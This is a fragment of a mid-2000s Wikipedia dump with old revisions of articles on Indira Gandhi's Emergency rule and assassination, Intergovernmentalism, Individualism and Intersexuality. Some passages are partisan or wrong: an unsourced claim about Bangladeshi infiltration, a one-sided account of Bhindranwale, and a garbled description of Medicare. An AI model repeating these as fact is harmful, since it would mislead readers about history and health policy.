Opponents had long alleged that Indira's party fraudulently won the 1971 elections. In June 1975 the [[High Courts of India|High Court of Allahabad]] found the sitting Prime Minister guilty of employing a government servant in her election campaign and Congress Party work. Technically, this constituted election fraud, and the court thus ordered her to be removed from her seat in Parliament and banned from running in elections for six years. 

It was known that the Congress Party were indulging in shady practices for a long time, but this was the first time that a judge had acted dramatically against that corruption. Indira appealed the decision; the opposition parties rallied en masse, calling for her resignation. Strikes by unions and protest rallies paralyzed life in many states. J.P. Narayan's [[Janata]] coalition even called upon the police to disobey orders if asked to fire on an unarmed public. Public disenchantment combined with hard economic times and an unresponsive government. A huge rally surrounded the Parliament building and Indira's residence in Delhi, demanding her to behave responsibly and resign.

Indira advised President [[Fakhruddin Ali Ahmed]] to declare a [[state of emergency]]. Ahmed was an old political ally, and in India the President acts upon the advice of an elected PM alone. (This former Governor of a border state had organized the infiltration of several million Bangladeshis into India). Claiming patriotism, some Indians saw this alliance as a political evil. Having secured a state of emergency, Indira called out the police and the army to break up the strikes and protests, ordering the arrest of all opposition leaders. Many of these were men who had first gone to jail fighting the British in the 1930s and 1940s. Curfews, indiscriminate charges, and unlimited powers of detention were granted to police, while all publications were directly censored by the Ministry for Information and Broadcasting. Elections were indefinitely postponed, and non-Congress state governments were dismissed. 

The Prime Minister pushed a series of increasingly harsh bills and constitutional amendments through parliament with little discussion or debate. Indira attempted to re-write the nation's laws to protect herself from legal prosecution once emergency rule was revoked. Still, Indira did not feel her powers were amassing quickly enough, so she utilized President [[Fakhruddin Ali Ahmed]], an Indira loyalist, to issue &quot;extraordinary laws&quot; that bypassed parliament altogether, allowing her to [[rule by decree]]. [[Inder Kumar Gujral]], future Prime Minister but then Indira's Minister for Information and Broadcasting, resigned to protest Sanjay's interference in his Ministry's work. With a few exceptions everyone fell in line to Indira and Sanjay's style of rule; sychophancy and servile attitude in politics were encouraged and came to stay.

Indira's emergency rule lasted nineteen months. During this time, in spite of the controversy involved, the country made significant economic and industrial progress. This was primarily due to the end it put to strikes in factories, colleges, and universities and the disciplining of trade and student unions. Production and government work became more efficient. Tax evasion was reduced by zealous government officials, although corruption remained. Agricultural and industrial production expanded considerably under Indira's 20-point programme; revenues increased, and so did India's financial standing in the international community. Against this must be counted the arrest and torture of thousands of political activists, the ruthless clearing of slums around Delhi's Jama Masjid area ordered by  Sanjay, which left hundreds of thousands of people homeless and thousands killed, and the family planning program which forcibly imposed [[vasectomy]] on thousands of fathers and was often poorly administered, nurturing a public anger against family planning that persists into the 21st century. 

In 1977, greatly misjudging her own popularity, Indira called elections and was roundly defeated. To the surprise of some observers, she meekly agreed to step down, although the theory has been proposed that Field Marshall [[Sam Maneckshaw]], Chief of Army Staff, threatened her by suggesting the possibility of forcible removal.

==Ouster, Arrest and Return==
The unwieldy  [[BJP|Janata]] Party coalition came to power in the 1977 elections. [[Morarji Desai]], Indira's long-time opponent, became Prime Minister and [[Neelam Sanjiva Reddy]], the establishment choice of 1969, became President of the Republic. Indira had lost her seat and found herself without work, income or residence. The Congress Party split, and veteran Indira supporters like [[Jagjivan Ram]] abandoned her for Janata. The Congress (Indira) Party was now a much smaller group in Parliament, although the official opposition. Unable to govern owing to fractious coalition warfare, the Janata government's Home Minister, [[Choudhary Charan Singh]], ordered the arrest of Indira and Sanjay Gandhi on a slew of charges. Her arrest and long-running trial, however, projected the image of a helpless woman being victimized by the Government, and this triggered Indira's political rebirth.

The people were already dissatisfied with a dysfunctional government, a stagnant economy, disorderly coalition governments at the state levels, near-continuous strikes and disorder, and frustratingly stalled trials of Emergency-era culprits. Millions of poor people recalled their former icon, and the middle classes recalled the order, peace and progress of the Emergency. They were disenchanted by the return of elections and freedom of expression, noting the disorder it caused. Indira began giving speeches again, tacitly apologizing for &quot;mistakes&quot; made during the Emergency, and garnering support from icons like [[Vinoba Bhave]]. Desai resigned in June 1979, and Charan Singh was appointed Prime Minister by the President.

Singh attempted to form a government with his Janata (Secular) coalition but lacked a majority. Charan Singh bargained with Indira for the support of Congress (I) MPs, causing uproar by his unhesitant coddling of his biggest political opponent. After a short interval, Indira withdrew her initial support and President [[Neelam Sanjiva Reddy]] dissolved Parliament, calling fresh elections in 1980. Indira's Congress (I) Party was returned to power with a landslide majority.

== Operation Blue Star and Assassination==
[[Image:Indira Time.jpg|thumb|250px|Time magzine covered a feature on Mrs. Gandhi after her assasination]]

Indira Gandhi found her toughest opponent in [[Jarnail Singh Bhindranwale]]. Much misunderstanding has existed in the state-controlled Indian press regarding this charismatic leader of the Sikhs.  There is no evidence to believe that he began the movement for Khalistan, even though Indira Gandhi labelled him a separatist.  On September 1981,  Bhindrawale voluntarily offered his arrest in Amritsar, where he was detained and interrogated for twenty-five days, but was released because of lack of evidence.  After his release, Bhindranwale relocated himself from his headquarters at Mehta Chowk to Guru Nanak Niwas within the Darbar Sahib precincts.&lt;ref&gt;Ibid, p. 105.&lt;/ref&gt;  This move of Bhindrawale is generally seen as the reason for Indira Gandhi's attack on the Darbar Sahib.  The Indian army, however, attacked not only this important shine, but 37 additional shrines across Punjab where there were no Sikh nationalists or militants in residence.&lt;ref&gt;Mahmood, Cynthia Keppley, “Dynamics of Terror in Punjab and Kashmir,” Jeffrey A. Sluka, ed., Death Squad: The Anthropology of State Terror, Philadelphia: University of Pennsylvania Press, 2000, p. 77.&lt;/ref&gt;   Bhindranwale’s presence at the shrine, therefore, was a minor factor, if a factor at all, in Indira Gandhi’s decision to attack the Sikh Vatican.  In fact, “the then deputy commissioner of Amritsar, Gurdev Singh…said that he had categorically informed the highest officials of the Punjab government that if they wanted to arrest Bhindranwale, there would be no major difficulty in organizing it.  The chief minister, the governor of Punjab and other senior officials told him that the directive to take action against Bhindranwale had to come from Delhi.”&lt;ref&gt;Kumar, Ram Narayan, et. al., Reduced to Ashes, p. 34&lt;/ref&gt;  These orders never came because Bhindranwale had no outstanding charges against him.  Arun Shourie of The Indian Express noted, &quot;For all I know, he [Bhindranwale] is completely innocent and is genuinely and exclusively dedicated to the teachings of the Gurus.”&lt;ref&gt;Arun Shourie, “The consequences of pandering”, The Indian Express, May 13, 1982.&lt;/ref&gt;  In December 1983, a senior officer in Chandigarh confessed: “It’s really shocking that we have so little against him [Bhindranwale] while we keep blaming him for all sorts of things.”&lt;ref&gt;India Today, 31 December 1983, page 36.&lt;/ref&gt;  Therefore, to think that Bhindranwale invited an attack from the Indian army through his presence at the Darbar Sahib is to ignore an established fact that the army operation was planned well in advance, as stated by S. K. Sinha, a major figure in the Indian Army.  The attack had been planned several months beforehand and was timed for an important anniversary in the [[Sikhism|Sikh]] calendar when thousands of pilgrims would be expected to be present.&lt;ref&gt;Joyce Pettigrew, &quot;Parents and Their Children in Situation of Terror: Disappearances and Special Police Activity in Punjab,&quot; ''Death Squad: The Anthropology of State Terror'' (Philadelphia: University of Pennsylvania Press, 2000), p. 204. &lt;/ref&gt; The army operation was followed by wholesale killings of [[Sikhism|Sikh]] males between the ages of 15 and 35 in Punjab’s villages.&lt;ref&gt;Mary Anne Weaver, The Christian Science Monitor, [[15 October]], [[1984]]. Also see ''ibid''.&lt;/ref&gt; These violent events, together with organized massacre of Sikhs in India’s major cities in November 1984, and daily terror families subsequently experienced in Punjab’s villages gave rise to resistance.&lt;ref&gt; Joyce Pettigrew, &quot;Parents and Their Children in Situation of Terror: Disappearances and Special Police Activity in Punjab,&quot; ''Death Squad: The Anthropology of State Terror'' (Philadelphia: University of Pennsylvania Press, 2000), p. 204. &lt;/ref&gt; 

Sikhs everywhere were outraged at the desecration of their holiest shrine.  On [[October 31]], [[1984]], two of her Sikh bodyguards assassinated Indira Gandhi in the garden of her home.

Indira Gandhi was cremated on [[3 November]], near Raj Ghat and the place was called [[Raj Ghat and other memorials|Shakti Sthal]]. After her death, anti-Sikh [[pogroms]] engulfed [[New Delhi]] and spread across the country, killing thousands and leaving tens of thousands homeless.

==The Nehru-Gandhi Family==
[[Rajiv Gandhi]] entered politics in February 1981 and became Prime Minister on his mother's death, later (May 1991) himself meeting a similar fate, this time at the hands of Sri Lankan [[Liberation Tigers of Tamil Eelam]] (LTTE) militants. Rajiv's widow, [[Sonia Gandhi]], a native Italian, led a novel Congress-led coalition to a surprise electoral victory in the 2004 [[Lok Sabha]] elections, evicting [[Atal Bihari Vajpayee]] and his National Democratic Alliance (NDA) from power. 

Sonia Gandhi controversially declined the opportunity to assume the office of Prime Minister but remains in control of the Congress political apparatus; Dr. [[Manmohan Singh]], notably a Sikh and a Nehru-Gandhi family loyalist, now heads the nation. Rajiv's children, [[Rahul Gandhi]] and [[Priyanka Gandhi]], have also entered politics. Sanjay Gandhi's widow, [[Maneka Gandhi]], who had a falling out with Indira after Sanjay's death, as well as his son, [[Varun Gandhi|Varun]], are active in politics as members of the main opposition [[Bharatiya Janata Party|BJP]] party.

Indira's story mirrors the afflictions suffered by many leaderships in third world nations. Nepotism, rigging of elections, theft from the national exchequer to win local elections.

Though frequently called '''The Nehru-Gandhi Family''', Indira was in no way related to the Mahatma. Though Mahatma was a family friend, Gandhi in her name comes from her marriage to Feroze Gandhi, a Parsi.

==Legacy==
Until this day, Indira's legacy as Prime Minister remains mixed. She was a strong, forceful  personality and her reign was popular with some segments of India's population, especially the left. Her phrase &quot;poverty is the greatest pollutor&quot; in her remarkable speech at the first UN World Environmental Conference in Stockholm in 1972 set her (and India at the time) apart in attempting to harmonise environmental and developmental concerns in developing countries. In her early struggles to gain control of the Congress party, she transformed Indian politics by appealing directly to the people and subverting the established structure of Congress. The inadvertent result of this was fragmentation of the political hierarchy, resulting in the later rise of parties such as the [[Bahujan Samaj Party|BSP]] and the [[Samajwadi Party]], allowing previously marginalised communities to gain political representation. 

Some suggest that Indira, despite her heavy-handed tactics and mistakes, was vital for India's democracy and unity, citing the faith in democracy of hundreds of millions of people united only in poverty and ignorance depended upon iconic leaders and guardians. It is suggested that the only viable alternative for India was to trade democracy for a dictatorship in view of the national insecurity and economic deprivation that defined the 1960s for India. Unfortunately, Indira's hard-nosed, zero-tolerance approach left serious divisions in India.

==External links==

* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=6000976 Indira Gandhi's Gravesite]

== References  ==
&lt;references/&gt;
* http://www.vepachedu.org/Nehrudynasty.html 
* [[Ved Mehta]], ''A Family Affair: India Under Three Prime Ministers'' (1982) ISBN 0195031180
* Katherine Frank, ''Indira: the life of Indira Nehru Gandhi'' (2002) ISBN 039573097X

{{start box}}
{{succession box | title=[[Prime Minister of India]] | before=[[Gulzarilal Nanda]] | after=[[Morarji Desai]] | years=[[19 January]], [[1966]] &amp;ndash; [[24 March]], [[1977]]}}
{{succession box | title=[[Prime Minister of India]] | before=[[Choudhary Charan Singh]] | after=[[Rajiv Gandhi]] | years=[[15 January]], [[1980]] &amp;ndash; [[31 October]], [[1984]]}}
{{end box}}

{{Prime Ministers of India}}

[[Category:1917 births|Gandhi, Indira]]
[[Category:1984 deaths|Gandhi, Indira]]
[[Category:Assassinated politicians|Gandhi, Indira]]
[[Category:Bharat Ratna recipients|Gandhi, Indira]]
[[Category:Debaters|Gandhi, Indira]]
[[Category:Indian National Congress]]
[[Category:Female heads of government|Gandhi, Indira]]
[[Category:Firearm deaths|Gandhi, Indira]]
[[Category:Former students of Somerville College, Oxford|Gandhi, Indira]]
[[Category:Indian women|Gandhi, Indira]]
[[Category:Politics of India|Gandhi, Indira]]
[[Category:Political families of India]]
[[Category:Prime Ministers of India|Gandhi, Indira]]
[[Category:Women in war|Gandhi, Indira]]



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[[tr:İndira Gandhi]]</text>
    </revision>
  </page>
  <page>
    <title>Intergovernmentalism</title>
    <id>15180</id>
    <revision>
      <id>24736900</id>
      <timestamp>2005-10-04T16:10:44Z</timestamp>
      <contributor>
        <ip>82.159.136.211</ip>
      </contributor>
      <text xml:space="preserve">'''Intergovernmentalism''' is a theory of decision-making in [[international organization]]s, where power is possessed by the [[member-state]]s and decisions are made by [[unanimity]]. Independent [[appoint]]ees of the [[government]]s or elected representatives have solely advisory or implementational functions. Intergovernmentalism is used by most international organizations today.

An alternative method of decision-making in international organizations is [[supranationalism]].

Intergovernmentalism is also a theory on European integration which rejects the idea of [[neofunctionalism]]. The theory, initially proposed by Stanley Hoffmann ([http://www.gov.harvard.edu/Faculty/Bios/Hoffmann.htm biography]) suggests that national governments control the level and speed of [[European integration]]. Any increase in power at supranational level, he argues, results from a direct decision by governments. He believed that integration, driven by national governments, was often based on the domestic political and economic issues of the day. The theory rejects the concept of the spill-over effect that neofunctionalism proposes. He also rejects the idea that supranational organisations are on an equal level (in terms of political influence) as national governments.

==See also==
* [[Federation]].
* [[Continental Union]].
* [[European Union]].
* [[Mundialization]].

[[Category:Federalism]]
[[Category:European Union]]

[[de:intergovernmental]]</text>
    </revision>
  </page>
  <page>
    <title>Individualism</title>
    <id>15181</id>
    <revision>
      <id>42061617</id>
      <timestamp>2006-03-03T15:18:00Z</timestamp>
      <contributor>
        <ip>65.121.30.30</ip>
      </contributor>
      <comment>/* Opposing views */</comment>
      <text xml:space="preserve">'''Individualism''' is a moral, political, and social philosophy, which emphasizes individual [[liberty]], the primary importance of the [[individual]], and the &quot;virtues of self-reliance&quot; and &quot;personal independence&quot;. Individualism embraces opposition to [[authority]], and to all manner of controls over the individual, especially when exercised by the political [[state]] or &quot;[[society]].&quot; It is thus directly opposed to ''[[collectivism]]'', which advocates subordination of the individual to the will of the society or community.  It is often confused with &quot;[[egoism]],&quot; but an individualist need not be an egoist.

==Political individualism==
In political philosophy, the individualist theory of [[government]] holds that the state should take a merely defensive role by protecting the liberty of each individual to act as he wishes as long he does not infringe on the same liberty of another. This contrasts with collectivist political theories, where, rather than leaving the individual to pursue his own ends, the state ensures that the individual serves the interests of society when taken as a whole. It also contrasts with fascism, where the individual is required to serve the interests of the state. The term has also been used to describe &quot;individual initiative&quot; and &quot;freedom of the individual&quot; in general, perhaps best described by the French term &quot;laissez faire,&quot; a verb meaning &quot;to let [the people] do&quot; [for themselves what they know how to do].

In practice, individualists are chiefly concerned with protecting individual autonomy by opposing encroachment by the state. They pay particular attention to protecting the liberties of the minority against transgressions by the majority and see the individual as the smallest minority. For example, individualists oppose democratic systems unless constitutional protections exist that preserve individual liberty of individuals from being diminished by the interests of the majority. These concerns encompass both civil and economic liberties. One typical concern is the concentration of commercial and industrial enterprise in the hands of the state, and the municipality. The principles upon which this opposition is based are mainly two: that popularly-elected representatives are not likely to have the qualifications, or the sense of responsibility, required for dealing with the multitudinous enterprises, and the large sums of public money involved in civic administration; and that the &quot;health of the state&quot; depends upon the exertions of individuals for their personal benefit (who, &quot;like cells&quot;, are the containers of the life of the body). Individualism may take a radicalist approach, as in [[individualist anarchism]].

The individualist sees society as &quot;a large number of individuals working together&quot; to improve their individual and collective welfare. The single person is not just a member of a greater unity. In fact, the single individual is seen as &quot;the ultimate unity,&quot; and society is nothing more than a composition of these &quot;individuals&quot;. The &quot;state&quot; is an organized form of society, which &quot;ensures the individual's freedom&quot; by law (under the protections of a republic). Thus, individualist policy tends to approve laws that protect, or otherwise enhance the liberties of the individual citizen, but rejects laws that subordinate the individual to the collective.

==Individualism and society==
[[Jean-Jacques Rousseau]]'s &quot;[[social contract]]&quot; maintains that each individual is under implicit contract to submit his own will to the &quot;general will.&quot; This advocacy of subordinating the individual will to a collective will is in fundamental opposition to the individualist philosophy. An individualist enters into society to further his own interests, or at least demands the ''right'' to serve his own interests, without taking the interests of society into consideration (an individualist need not be an [[egoist]]). The individualist does not lend credence to any philosophy that requires the sacrifice of the self-interest of the individual for any &quot;higher&quot; social causes.

Societies and groups can differ, in the extent to which they are based upon predominantly &quot;self-regarding&quot; (individualistic, and arguably self-interested) rather than &quot;other-regarding&quot; (group-oriented, and group, or society-minded) behaviour.  There is also a distinction, relevant in this context, between &quot;guilt&quot; societies (e.g. medieval Europe) with an &quot;internal reference standard&quot;, and &quot;shame&quot; societies (e.g. Japan, &quot;bringing shame upon one's ancestors&quot;) with an &quot;external reference standard&quot;, where people look to their peers for feedback, as to whether an action is &quot;acceptable&quot; or not (also known as &quot;group-think&quot;).

The extent to which society, or groups are &quot;individualistic&quot; can vary from time to time, and from country to country.  For example, Japanese society is more group-oriented (e.g. decisions tend to be taken by consensus among groups, rather than by individuals), and it has been argued that &quot;personalities are less developed&quot; (than is usual in the West).  The USA is usually thought of as being at the individualistic (its detractors would say &quot;[[atomistic]]&quot;) &quot;end of the spectrum&quot;, whereas [[European ]]societies are more inclined to believe in &quot;public-spiritedness&quot;, state &quot;socialistic&quot; spending, and in &quot;public&quot; initiatives.

[[John Kenneth Galbraith]] made a classic distinction between &quot;private affluence and public squalor&quot; in the USA, and private squalor and public affluence in, for example, Europe, and there is a correlation between individualism and degrees of public sector intervention and taxation.

Individualism is often contrasted with either [[totalitarianism]] or [[collectivism]], but in fact there is a spectrum of behaviours ranging at the societal level from highly individualistic societies (e.g. the USA) through mixed societies (a term the [[UK]] has used in the post-[[World War II]] period) to collectivist. Also, many collectivists (particularly supporters of [[anarchism]] or [[libertarian socialism]]) point to the enormous differences between liberty-minded collectivism and totalitarian practices.

Individualism, sometimes closely associated with certain variants of [[individualist anarchism]], [[libertarianism]] or [[classical liberalism]], typically takes it for granted that individuals know best and that public authority or [[society]] has the right to interfere in the person's decision-making process only when a very compelling need to do so arises (and maybe not even in those circumstances). This type of argument is often observed in relation to policy debates regarding regulation of industries.

==Economic individualism==
The doctrine of [[economic individualism]] holds that each individual should be allowed autonomy in making his own economic decisions as opposed to those decisions being made by the state, or the community, for him. Morever, it supports the liberty of individuals to own property as opposed to state or collective arrangements. Such an economic system is often called ''[[laissez-faire]]'' or ''[[capitalism]].

Critics of modern capitalism sometimes argue that [[capitalism]] is not based on individuals but largely on firms and [[institution|institutions]], and that individuals' roles are largely determined by these institutions. However, compared to various forms of political [[collectivism]], capitalism is usually still considered as individualistic since participation in these institutions is [[voluntary]] and an individual choice. Yet, capitalism can also thrive in certain [[collectivism|collectivistic]] societies with individual choice. The only difference is what the choice is based on: individual need versus collective need.

==Individualism and US history==
At the time of the formation of the [[United States]], many of its citizens had fled from state or religious oppression in Europe and were influenced by the egalitarian and fraternal ideals that later found expression in the [[French revolution]]. Such ideas influenced the framers of the [[United States Constitution|U.S. Constitution]] (the Jeffersonian [[United States Democratic-Republican Party|Democratic-Republicans]]) who believed that the government should seek to protect individual rights in the constitution itself; this idea later led to the [[United States Bill of Rights|Bill of Rights]].

==Opposing views==
Individualism has negative connotations in certain societies and environments where it is associated with selfishness.  For example, individualism is highly frowned upon in [[Japan]] where self-interested behavior is traditionally regarded as a kind of [[betrayal]] of those to whom one has obligations (e.g. [[family]] and firm).  The absence of [[universal health care]] in the United States, which traces back to a belief in individual (rather than societal) responsibility, is widely criticised in Europe and other countries where universal health care (usually funded through general taxation) is seen as protecting individuals from the vagaries of health problems.  Health care in the United States is provided through private insurance.  Some people who cannot afford health insurance in the United States are eligible for [[Medicaid]], a gvernment-sponsored program.  Medicare is generally only available to those who are disabled and to single mothers (and their children).  Not all doctors will accept medicare, typically just doctors in poor areas of the country who might have a large number of Medicare patients.

Proponents of such public initiatives and [[social responsibility]] argue that their policies are beneficial for the individual, and that excessive individualism may actually hurt the individuals themselves. Opponents hold that such public initiatives may have [[law_of_unintended_consequences|unintended consequences]] beyond the issues they are intended to address. Many individualists find the &quot;beneficial to the individual&quot; argument repugnant and argue that individualism is not about individual benefit so much as individual choice.

==References==
* [[Adam Smith]] ''The Wealth of Nations''
* [[Karl Popper]] ''The Open Society and Its Enemies''
* [[Alan Waterman]] ''The Psychology of Individualism''
* [[Lawrence Kohlberg]] ''Six Stages of Moral Development''

==See also==
*[[Anarchism]]
*[[Collectivism]] (opposite of individualism)
*[[Anarcho-capitalism]]
*[[Contrarian]]
*[[Individualist anarchism]]
*[[Libertarianism]]
*[[Self-ownership]]
*[[Tragedy of the commons]]
*[[Tragedy of the anticommons]]

==External links==
{{Philosophy portal}}
*[http://www.individual-i.com Individual-I]
*[http://www.encaoua.net The Individualist's Portal]
*[http://translate.google.com/translate?hl=en&amp;sl=fr&amp;u=http://kropot.free.fr/Palante-individu.htm&amp;prev=/search%3Fq%3D%2522Georges%2BPalante%2522%26hl%3Den%26lr%3D%26c2coff%3D1%26safe%3Doff%26sa%3DG ''Individualistic sensitivity''] by [[Georges Palente]] roughly translated into English
*[http://raforum.apinc.org/article.php3?id_article=169 ''Manifesto''] by [[Josiah Warren]] Classic individualist treatise by the first American anarchist

[[Category:Philosophy]]
[[Category:Sociology]]
[[Category:Ethics]]
[[Category:Political philosophy]]
[[Category:20th century]]
[[Category:Philosophical terminology]]
[[Category:Philosophical concepts]]

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[[zh:个人主义]]</text>
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  <page>
    <title>Indo-European languages/Satem</title>
    <id>15183</id>
    <revision>
      <id>24793927</id>
      <timestamp>2005-10-05T07:22:40Z</timestamp>
      <contributor>
        <username>Utcursch</username>
        <id>54809</id>
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      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Centum-Satem isogloss]]</text>
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  <page>
    <title>Indo-European languages/Centum</title>
    <id>15184</id>
    <revision>
      <id>24793919</id>
      <timestamp>2005-10-05T07:22:32Z</timestamp>
      <contributor>
        <username>Utcursch</username>
        <id>54809</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Centum-Satem isogloss]]</text>
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  </page>
  <page>
    <title>Intersexuality</title>
    <id>15185</id>
    <revision>
      <id>40986609</id>
      <timestamp>2006-02-24T08:12:33Z</timestamp>
      <contributor>
        <username>Torgo</username>
        <id>427752</id>
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      <text xml:space="preserve">An '''intersexual''' or '''intersex''' person (or organism of any [[unisexual]] species) is one who is born with [[genitalia]] and/or [[secondary sex characteristic]]s determined as neither exclusively male nor female, or which combine features of the male and female sexes. The terms ''[[hermaphrodite]]'' and ''pseudohermaphrodite'', introduced in the 19th century, are now considered misleading and stigmatizing, and patient advocates call for these terms to be abandoned. There is also a move to drop the term &quot;intersex&quot;, replacing it with &quot;Disorders of Sex Development&quot; (DSD). The phrase &quot;ambiguous genitalia&quot; refers specifically to genital appearance, but not all intersex conditions result in atypical genital appearance.

==Overview==
According to the highest estimates (Fausto-Sterling et. al., 2000) perhaps 1 percent of live [[childbirth|birth]]s exhibit some degree of sexual ambiguity [http://www.isna.org/faq/frequency], and that between 0.1% and 0.2% of live births are ambiguous enough to become the subject of specialist medical attention, including [[surgery]] to disguise their sexual ambiguity. Other sources (Leonard Sax, 2002) estimate the incidence of true intersexual conditions as far lower, at approximately 0.018%.

In typical [[fetus|fetal]] development, the presence of the [[SRY|SRY gene]] causes the fetal [[gonad]]s to become testes; the absence of it allows the gonads to continue to develop into ovaries. Thereafter, the development of the [[sex organ|internal reproductive organs]] and the [[external genitalia]] is determined by hormones produced by certain fetal gonads (ovaries or testes) and the cells' response to them. The initial appearance of the [[fetal genitalia]] (a few weeks after conception) is basically feminine: a pair of &quot;[[urogenital folds]]&quot; with a small protuberance in the middle, and the [[urethra]] behind the protuberance. If the fetus has testes, and if the testes produce testosterone, and if the cells of the genitals respond to the testosterone, the outer urogenital folds swell and fuse in the midline to produce the scrotum; the protuberance grows larger and straighter to form the penis; the inner urogenital swellings swell, wrap around the penis, and fuse in the midline to form the penile urethra.

Because there is variation in all of these processes, a child can be born with a [[sexual anatomy]] that is typically female, or feminine in appearance with a larger than average [[clitoris]]; or typically male, masculine in appearance with a smaller than average [[penis]] that is open along the underside. The appearance may be quite ambiguous, describable as female genitals with a very large clitoris and partially fused labia, or as male genitals with a very small penis, completely open along the midline (&quot;[[hypospadic]]&quot;), and empty scrotum.

There are dozens of named medical conditions that may lead to intersex anatomy. Fertility is variable. The distinctions &quot;male pseudohermaphrodite&quot;, &quot;female pseudohermaphrodite&quot; and especially &quot;true hermaphrodite&quot; are vestiges of 19th century thinking that placed &quot;true sex&quot; in the [[histology]] (microscopic appearance) of the [[gonad]]s. 

The common habit in the 21st century of elevating the role of the [[sex chromosomes]] above all other factors when determining gender may be analogous to the older habit of finding &quot;true&quot; sex in the gonads. Though high school biology teaches that men have XY and women XX chromosomes, in fact there are quite a few other possible combinations such as Turner syndrome [[Turner_syndrome|XO]], Metafemale Syndrome [[Triple-X_syndrome|XXX]], Klinefelter's Syndrome [[Klinefelter's Syndrome|XXY]], [[XYY]], XO/XY, XX male, Swyer syndrome [[Swyer_syndrome|XY female]], and there are many individuals who do not follow the typical patterns (such as cases with four or even more sex chromosomes).

Thus, people nowadays may be more likely to look towards the sex chromosomes than, for example, the histology of the gonads. However, according to researcher Eric Vilain at the [[University of California, Los Angeles]], &quot;the biology of gender is far more complicated than XX or XY chromosomes&quot;.[http://www.eurekalert.org/pub_releases/2005-02/dnnl-dma020305.php] Many different criteria have been proposed, and there is little consensus.[http://www.isna.org/faq/what_is_intersex]

== Biological causes of intersexuality ==  
Typical males have sex chromosomes XY and typical females XX. One biological definition of a male child is the presence of a Y chromosome. This definition has sometimes been used for sex determination at sports events, but it caused much confusion because it doesn't always apply.

The most common cause of sexual ambiguity is [[congenital adrenal hyperplasia]], an endocrine disorder in which the [[adrenal gland]]s produce abnormally high levels of virilizing hormones. In genetic females, this leads to an appearance that may be slightly masculinized (large clitoris) to quite masculine.

In many cases individuals are neither XX nor XY:
* The presence of one or two additional X chromosomes in a male (XXY or XXXY) may cause [[Klinefelter's syndrome]].

* A single X chromosome (XO) is called [[Turner's syndrome]]. It is characterized by a lack or incomplete development of certain primary and secondary female characteristics and is associated with a range of medical issues.

* Sex chromosomal [[mosaic_(genetics)|mosaicism]] or [[Chimera (genetics)|chimerism]] can cause what was once called &quot;true hermaphroditism&quot;, the presence of both testicular and ovarian tissue in one individual.

In [[Persistent mullerian duct syndrome]] the child has XY chromsomes typical of a male. The child has a male body and an internal uterus and fallopian tubes because his body did not produce [[Mullerian inhibiting factor]] during fetal development. 

The following further XY cases leads to intersexuality:
*[[Androgen insensitivity syndrome]]. They develop either partially or fully as females, due to their bodies failing to respond to [[testosterone]]. In the case of complete androgen insensitivity syndrome (CAIS), their tissues are totally insensitive to [[androgen]]s, and they will develop as females, with normal female external organs. However, they will not develop a uterus or fallopian tubes, due to the production of Mullerian inhibiting factor by their testes. At puberty breasts will develop due to the production of [[estrogen]] by the testes; but no menstruation will occur due to the lack of a uterus. The tissues of individuals with partial androgen insensitivity, by contrast, have partial sensitivity to testosterone, but it is reduced compared to the male normal. These individuals can develop with either male external anatomy, or female external anatomy, or some combination, depending on the degree of insensitivity.

*[[5-alpha-reductase deficiency]]. In this condition, individuals have testes, as well as vagina and labia, but with a small [[penis]] capable of ejaculation instead of a clitoris (this penis, however, appears to be a clitoris at birth). These individuals are normally raised as girls. However, come puberty, their testes will descend, their voice will deepen and they often will develop a male sexual identity. But they develop only limited facial hair. The number of people with this condition varies geographically, depending on how much of a given population is interrelated.

Excessive ''in utero'' exposure to androgens may lead to intersexuality in XX cases:
* [[Congenital adrenal hyperplasia]]: Female internal anatomy, but ambiguous or male external genitalia, and develop male secondary sexual characteristics. 

*[[Progestin-induced virilisation]]. In this case, the male hormones are caused by use of [[progestin]], a drug that was used in the 1950s and 1960s in order to prevent miscarriage. These individuals have internal and external female anatomy. They develop however some male secondary characteristics, and they frequently have unusually large clitorises.

A similar phenomenon occurs in cases where a cow brings two fraternal twins, one male and one female, to term. Because (unlike humans) such twins share hormones via their placental blood interface with the mother cow, male hormones produced in the body of the fetal bull find their way into the body of the fetal cow and masculinize her brain. The result is a [[freemartin]] (unconventional heifer), a cow that will eventually try to mount other cows the way that a bull would.

In [[XX male syndrome]] (also called [[de la Chapelle syndrome]]) the resulting child is usually a phenotypically normal male, but without sperm production. This syndrome is sometimes the result of an abnormal interchange of the [[SRY]] region from a Y chromosome to an X.

== Chimerism ==
According to the ''New England Journal of Medicine'', vol 338, p 166, physicians in the Western General Hospital of Edinburgh have reported on a child with a penis, one testicle, and an ovary and fallopian tube instead of a second testicle. Some of this child's body cells are XY (male), and some are XX (female). The child was conceived as the result of [[in-vitro fertilization]], and  it appears most likely that two embryos, a male embryo and a female embryo, fused before or soon after embryos were transferred to the mother's uterus.

This kind of condition, where there is more than one set of [[cell line]]s with different sets of chromosomes making up the body is known as [[Chimera (genetics)|chimerism]].  This kind of [[tetraploid]] chimerism can also occur naturally, without in-vitro fertilization (see ''New England Journal of Medicine'', vol 346, p 1545).

Not all cases of Chimerism involve intersexuality, however. There have been about 40 known cases worldwide of humans reproducing naturally and producing offspring with absolutely no genetic similarities between mother and child. Discovery Health Channel has produced a documentary on two families and their issues in dealing with chimerism. It was called &quot;[http://www.medterms.com/script/main/art.asp?articlekey=8905 I Am My Own Twin].&quot;

== Treatment of intersexuals by society ==
Intersexual individuals are treated in different ways by different cultures. In some cultures intersexuals were included in larger &quot;third gender&quot; or gender-blending social roles along with other individuals. In most societies, intersexed individuals have been expected to select one sex, and conform to its [[gender role]].  

Since the rise of modern medical science in Western societies, intersexuals with ambiguous external genitalia have had their genitalia surgically modified to resemble either male or female genitals. But there are increasing calls for recognition of the various degrees of intersexuality as healthy variations which should not be subject to correction. Some have attacked the common Western practice of performing corrective surgery on the genitals of intersexuals as a Western cultural equivalent of [[female genital mutilation]]. Despite the attacks on the practice, most of the medical profession still supports it. Others have claimed that the talk about third sexes represents an ideological agenda to deride gender as a social construct whereas they believe gender is a biological reality.

Corrective surgery is generally not necessary for protection of life or health, but purely for aesthetic or social purposes. It may lead to negative consequences for sexual functioning in later life, which would have been avoided without the surgery; in other cases negative consequences are avoided by surgery. Defenders of the practice argue that it is necessary for individuals to be clearly identified as male or female in order for them to function socially. However, many intersex individuals have resented the medical intervention, and some have been so discontented with their surgically assigned gender as to opt for [[sexual reassignment surgery]] later in life.

